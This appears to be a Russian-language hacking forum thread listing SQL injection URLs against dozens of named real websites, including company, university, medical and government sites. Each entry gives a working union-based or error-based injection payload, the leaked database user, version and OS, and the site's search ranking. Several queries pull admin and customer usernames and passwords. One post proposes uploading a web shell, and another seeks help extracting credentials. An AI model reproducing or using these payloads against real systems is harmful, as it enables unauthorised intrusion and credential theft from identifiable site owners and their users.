www.conceptsport.co.uk/events.php?pid=-1111 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15-- www.rockcard.co.uk/choose_size.php?cid=-95 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14-- www.viewfinderphotography.co.uk/product.php?cid=-1 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12-- thefishy.co.uk/story.php?id=-8420104 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
Code: http://www.rukhnet.com/index.php?subid=-0000+union+select+concat(version(),user(),database()),2,3,4,5,6,7+from+information_schema.tables-- Version:5.0.90-community User: logrukhnetc_diradmi@localhost Database: rukhnetc_directory
http://www.volunteerfalkirk.org.uk/news.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('tblOrgAims'))-- http://www.metafix.co.uk/Scripts/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('dtproperties')-- http://www.rockhill.ie/gallery/index.asp?ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+char(78)%2Bchar(101) %2Bchar(119) %2Bchar(115) %2Bchar(108) %2Bchar(101) %2Bchar(116) %2Bchar(116) %2Bchar(101) %2B char(114) %2Bchar(80) %2Bchar(114) %2Bchar(101) %2Bchar(112) %2B char(97) %2Bchar(114) %2Bchar(101) %2Bchar(100) %2Bchar(69) %2B char(109) %2Bchar(97) %2Bchar(105) %2Bchar(108) %2Bchar(115))&page=7 http://www.bradfordchamber.co.uk/news.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char%2884%29%2Bchar%28105%29%2Bchar%2899%29%2Bchar%28107%29%2Bchar%2878%29%2Bchar%28101%29%2Bchar%28119%29%2Bchar%28115%29%29%29-- http://www.retention.se/news.asp?id=1+SELECT+*+from+ adminuser +group+by+adminuser.userid+having+1=1#&pg=1
Code: http://www.accomplishmanagement.co.uk/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6,7/* User: web148u1@localhost Version: 5.0.32-Debian_7etch8-log Database: web148db1 Code: http://www.samsport.ie/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6-- User: ssport_usr@localhost Version: 5.0.51a-community Database: samsport_db Code: http://www.klangwald.de/main/shop_details.php?id=99999+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4/* User: TE@localhost Version: 4.0.17-nt Database: klangwald Code: http://www.coffeytalk.com/product_details.php?id=-170+union+select+1,2,3,concat_ws(0x3b,%20user(),database(),version()),5,6,7,8-- User: $coffey1@localhost Version: 5.0.90-community Database: coffey1_BlogNEW Code: http://reklama.vladinvest.ru/print_news.php?id=-5+union+select+1,2,concat_ws(0x3b,%20user(),database(),version()),4/* User: [email protected] Version: 4.1.22 Database: vladinvestru2 Code: http://lingvistschool.kiev.ua/news_ukr.php/news.php/forum/print/print_page_ukr.php?id=99999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6-- User: 1.u_lingvistsc@localhost Version: 5.0.44.3 Database: lingvistscho Code: http://www.euroforgings.com/shop2.php?id=-99999999+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4,5/* User: euroforg_root@localhost Version: 4.1.22-standard Database: euroforg_alku2
http://www.ideja.edu.lv/index.php?content_id=-8+union+select+1,2,concat_ws(char(32),user(),version(),database(),@@version_compile_os),4,5,6,7,8,9,10,11+from+information_schema.tables--
В преддверии игры сборной России по хоккею против Канады Code: http://[COLOR=White]www[/COLOR].[COLOR=Red]thelamp[/COLOR].[COLOR=White]ca[/COLOR]/film/index.php?id=27+union+select+1,2,concat_ws(0x3a,version(),da tabase(),user())%20,4,5,6,7,8,9-- Version : 5.1.39-log Database : lamp User : [email protected] OS : pc-linux-gnu ----------------------------------------------------------- Code: http://[COLOR=Red]youthscienceforum[/COLOR].[COLOR=White]ca[/COLOR]/view.php?id=17+and+1=2+union+select+1,2,3,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),d atabase(),user()),0x71),0x71),5,6-- Version : 5.0.19-standard Database : youthscienceforum User : [email protected] OS : apple-darwin8.2.1
http://www.igert.neu.edu/profile.php?pid=-16+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12 Database Version: 5.0.77-log Database name: igert User name: igert@localhost
http://www.rom.on.ca/programs/lectures/index.php?ref=showinfo&program_id=-5507+UNION+SELECT+1,GROUP_CONCAT(AES_DECRYPT(AES_ENCRYPT(COLUMN_NAME,1),1)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='romcart_users'%23
http://www.uk.playright.dk/firma.php?id=-14+union+select+1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12+from+mysql.user
Code: http://myaso-portal.ru/news_records_view.php?id=-3458+and+1=2+union+select+1,concat_ws(0x3a,user,pass),3,4,5,6,7,8,9,10+from+userlist+limit+1,1-- http://myaso-portal.ru/admin/ можно попробовать залить шелл
MS_access http://www.ohiocampuscompact.org/page.cfm?ID=-181+union+select+1,2,3,4,5,6,7,8,9+from+pagetext1 PR-5 --------------------------------------------- http://www.jnht.com/heritage_site.php?id=-289+union+select+1,2,concat_ws(user(),version(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- PR-6 --------------------------------------------- http://www.sadarvuga.com/php/project.php?id=-59+union+select+0,group_concat(username,char(58),password)+from+users PR-4 -------------------------------------------- http://www.gemidiriya.com/news_view.php?record_id=-1+union+select+1,2,aes_decrypt(aes_encrypt(concat_ws(char(32),user(),version(),database(),@@version_compile_os,@@datadir),1),1),group_concat(table_name),5,6+from+information_schema.tables+where+table_schema=CHAR(103,97,109,97,110,101,103,95,119,101,98,100,98) PR-4 ------------------------------------------- http://www.buyabans.com/subcats.php?range_id=2&cat_id=-25+union+select+concat_ws(user(),version(),database(),@@version_compile_os)&subcat_id=41 PR-5
PR 6 ТИЦ 110 Version = 4.1.20 Current User = libsites@localhost Current Database = ecoculture_db01 PR 6 ТИЦ 40 Version = 5.1.37-1ubuntu5.1 Current User = root@localhost Current Database = vmo_db01 PR 5 ТИЦ 120 Version = 5.0.90-community Current User = radiotec_raduser@localhost Current Database = radiotec_mainbase PR 5 Version = 5.1.42 Powered by = PHP/5.3.1 Current User = webmysql@localhost Current Database = dbase_tsunami PR 8 Version = 5.0.85-log Powered by = PHP/5.2.13 Current User = polimi@localhost Current Database = polimi
Сайт: http://iksz.hu ТИЦ: 0 PR: 4 Пример запроса: Code: http://iksz.hu/rateit.php?id=999'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.81-log user - [email protected] database - iksznews os - portbld-freebsd7.0 ============================================ Сайт: http://jjc.yangtzeu.edu.cn ТИЦ: 0 PR: 4 Примеры запросов: Code: http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7--+ http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,group_concat(uname,0x3a,pwd,0x3a,email),4,5,6,7+from+jjc_admin--+ version - 5.0.45-community-nt-log user - root@localhost database - jjc os - Win32 ============================================ Сайт: http://www.stedenbandeindhoven.nl ТИЦ: 0 PR: 4 Пример запроса: Code: http://www.stedenbandeindhoven.nl/module.php?ID=68+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.81-log user - chinandega_u@localhost database - chinandega_splace os - pc-linux-gnu ============================================ Сайт: http://www.countryclub.at ТИЦ: 10 PR: 3 Пример запроса: Code: http://www.countryclub.at/v2/module.php?id=-42'+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(0x0b,username,0x3a,password),concat_ws(0x0b,version(),user(),database(),@@version_compile_os),14,15,16,17,18,19+from+access--+ version - 5.0.45 user - countryclub_at@localhost database - countryclub_at_-_db1 os - redhat-linux-gnu ============================================ Сайт: http://www.imaculadanet.com.br ТИЦ: 0 PR: 1 Пример запроса: Code: http://www.imaculadanet.com.br/site/eventos.php?id=-7+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,table_name),5,6+from+information_schema.tables--+ version - 5.0.51a-24+lenny3-log user - site_www@localhost database - www os - debian-linux-gnu ============================================ Сайт: http://xcc.paragliding.pl ТИЦ: 0 PR: 1 Примеры запросов: Code: http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--+ http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,group_concat(0x0b,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.columns+where+table_name=0x70687062625F7573657273--+ version - 5.0.26 user - web16@localhost database - xcc_2009 os - suse-linux-gnu ============================================ Сайт: Code: http://www.ondernemersparlement.nl он же http://www.onlineparlement.nl он же http://www.webocratics.com ТИЦ: 0 PR: 0 Примеры запросов: Code: http://www.ondernemersparlement.nl/module.php?ID=5180+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ http://www.onlineparlement.nl/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ http://www.webocratics.com/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.81-log user - webocratic_u@localhost database - webocratic_splace os - pc-linux-gnu ============================================ Сайт: http://www.terranet-berlin.de ТИЦ: 0 PR: 0 Пример запроса: Code: http://www.terranet-berlin.de/dias/module.php?id=-44+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9--+ version - 4.0.27-max-log user - [email protected] database - db128602669 os - pc-linux-gnu ============================================ Сайт: http://www.beoordeelmijndocent.nl ТИЦ: 0 PR: 0 Пример запроса: Code: http://www.beoordeelmijndocent.nl/module.php??moduleID=77&menuID=1913+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.32-Debian_7etch12-log user - bmd@localhost database - bmd os - pc-linux-gnu ============================================ Сайт: http://data.weetmeer.nl ТИЦ: 0 PR: ? Пример запроса: Code: http://data.weetmeer.nl/module.php?ID=68565+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.81-log user - weetmeer_beta@localhost database - weetmeer_beta os - pc-linux-gnu ============================================ Сайт: http://ifs.rz.tu-bs.de ТИЦ: 0 PR: ? Пример запроса: Code: http://ifs.rz.tu-bs.de/module.php?id=49&action=download&fileid=-18'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.45 user - de@localhost database - de os - redhat-linux-gnu
Министерство связи и информатизации республики Беларусь http://www.mpt.gov.by/new/modules/fotoar/index.php?sub&id=13+and+substring(version(),1,1)=4 Четвертая версия мускула, на union фильтр
Сайт: http://www.informatikcenter.de ТИЦ: 10 PR: 3 Пример запроса: Code: http://www.informatikcenter.de/redaktion/download.php?id=57'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+&type=file version - 5.0.51a-24+lenny3 user - IN-06030001@localhost database - IN-06030001 os - debian-linux ============================================ Сайт: http://www.oldrelics.com ТИЦ: 0 PR: 3 Пример запроса: Code: http://www.oldrelics.com/cms.php?id=-6+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,login_id,0x3a,password)+from+relics_admin--+ version - 5.0.91-log user - [email protected] database - custom_new os - unknown-linux-gnu ============================================ Сайт: http://www.pmaoakridge.com ТИЦ: 0 PR: 3 Пример запроса: Code: http://www.pmaoakridge.com/news_events_detail.php?news_events_id=-87+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6--+ version - 4.1.24-max-log user - [email protected] database - cayote55 os - redhat-linux-gnu ============================================ Сайт: http://fuchsschafzucht-wechselberg.de ТИЦ: 0 PR: 1 Пример запроса: Code: http://fuchsschafzucht-wechselberg.de/cms.php?id=5+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.32-Debian_7etch11-log user - [email protected] database - fuchsschafzucht os - pc-linux-gnu ============================================ Сайт: http://www.kgmotorsport.com ТИЦ: 0 PR: 1 Примеры запросов: Code: http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login_id,0x3a,password,0x3a,email),5,6,7,8,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),10,11+from+sysadmin--+ http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login,0x3a,password,0x3a,email),5,6,7,8,now(),10,11+from+customers--+ version - 5.0.89-community user - web161-kgmotor@localhost database - web161-kgmotor os - pc-linux-gnu ============================================ Сайт: http://www.chisca.ca ТИЦ: 0 PR: 0 Пример запроса: Code: http://www.chisca.ca/cms.php?id=-18'+union+select+1,2,3,4,unhex(hex(concat_ws(0x0b,version(),user(),database(),@@version_compile_os))),6,7,8,9--+ version - 4.1.18-nt user - [email protected] database - chiscanew_71463 os - Win32 ============================================ Сайт: http://www.homesurveysolutions.com ТИЦ: 0 PR: 0 Пример запроса: Code: http://www.homesurveysolutions.com/cms.php?ID=-12'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,group_concat(0x0b,table_name),6,7,8,9+from+information_schema.tables--+ version - 5.0.89-community user - web247-hss@localhost database - web247-hss os - pc-linux-gnu
Вооруженные силы Гана http://www.gaf[antigoogle].mil.gh/index.php?CatId=80+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- user() : [email protected] version() : 4.0.27-max-log database() : db156151652 OS : pc-linux-gnu PR - 5 админка
Code: http://www.gdnet.org/cms.php?id=conference_details&conference_id=-11%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+ User: browse@cweb3 Database: gdnet Version: 5.0.45 Вот здесь же есть таблица с юзерами, но не могу вывести данные. Кто знает как вывести логин;пасс юзера напишите в ПМ.
Сайт: http://www.erf.org.eg ТИЦ: 10 PR: 7 Пример запроса: Code: http://www.erf.org.eg/cms.php?id=conferences_details&conference_id=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+ version - 4.1.20 user - root@localhost database - newerf os - redhat-linux-gnu ============================================ Сайт: http://www.code-corner.com ТИЦ: 0 PR: 6 Пример запроса: Code: http://www.code-corner.com/cms.php?id=portfolio_listing&company_category_id=-3+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os),2,3,4,5,6,group_concat(0x0b,username,0x3a,pass,0x3a,email),8,9,10,11,12,13,14,15+from+admin--+ version - 5.1.41 user - corners_corners@localhost database - corners_corners os - unknown-linux-gnu ============================================ Сайт: http://english.anqahe.org ТИЦ: 0 PR: 5 Примеры запросов: Code: http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,now(),7,group_concat(0x0b,username,0x3a,pass),9,10,11,12,13+from+admin--+ http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,now(),7,group_concat(0x0b,username,0x3a,pass),9,10,11,12,13+from+users--+ http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),7,group_concat(0x0b,email),9,10,11,12,13+from+member--+ version - 5.1.41 user - anqahe_anqahe_en@localhost database - anqahe_anqahe_en os - unknown-linux-gnu ============================================ Сайт: http://www.humanas.unal.edu.co ТИЦ: 10 PR: 5 Пример запроса: Code: http://www.humanas.unal.edu.co/cms.php?id=940+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.1.42-log user - [email protected] database - cms os - unknown-freebsd ============================================ Сайт: http://www.bota.org.uk ТИЦ: 0 PR: 4 Пример запроса: Code: http://www.bota.org.uk/cms.php?id=-93'+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15--+ version - 4.1.20 user - bota@localhost database - bota os - redhat-linux-gnu ============================================ Сайт: http://www.aptekaslonik.pl ТИЦ: 0 PR: 4 Пример запроса: Code: http://www.aptekaslonik.pl/index.php?c=483)+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+ version - 5.0.32-Debian_7etch8 user - aptekaslonik@localhost database - aptekaslonik os - pc-linux-gnu ============================================ Сайт: http://www.autismbuddy.com ТИЦ: 0 PR: 4 Пример запроса: Code: http://www.autismbuddy.com/cms.php?id=-2+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os)--+ version - 4.1.22-standard user - autism_autism@localhost database - autism_myautismbuddy os - pc-linux-gnu ============================================ Сайт: http://meirmedicalcenter.org ТИЦ: 0 PR: 3 Пример запроса: Code: http://meirmedicalcenter.org/cms.php?id=-8+union+select+1,group_concat(0x0b,version(),0x0b,user(),0x0b,database(),0x0b,@@version_compile_os,0x0b,admin_userid,0x3a,admin_password),3,4,5,6,7,8,9+from+tbl_admin--+ version - 5.0.91-log user - [email protected] database - mmcdb os - unknown-linux-gnu
Сайт www.k-rabota.ru Code: http://www.k-rabota.ru/resume/index.php?id=560+and+substring%28version%28%29,1,1%29=5--+ =========================================== Это Blind sql-injection version() - 5.1. ... (дальше не стал определять) user() - k-rabota@localhost database() - k-rabota os - portbld-freebsd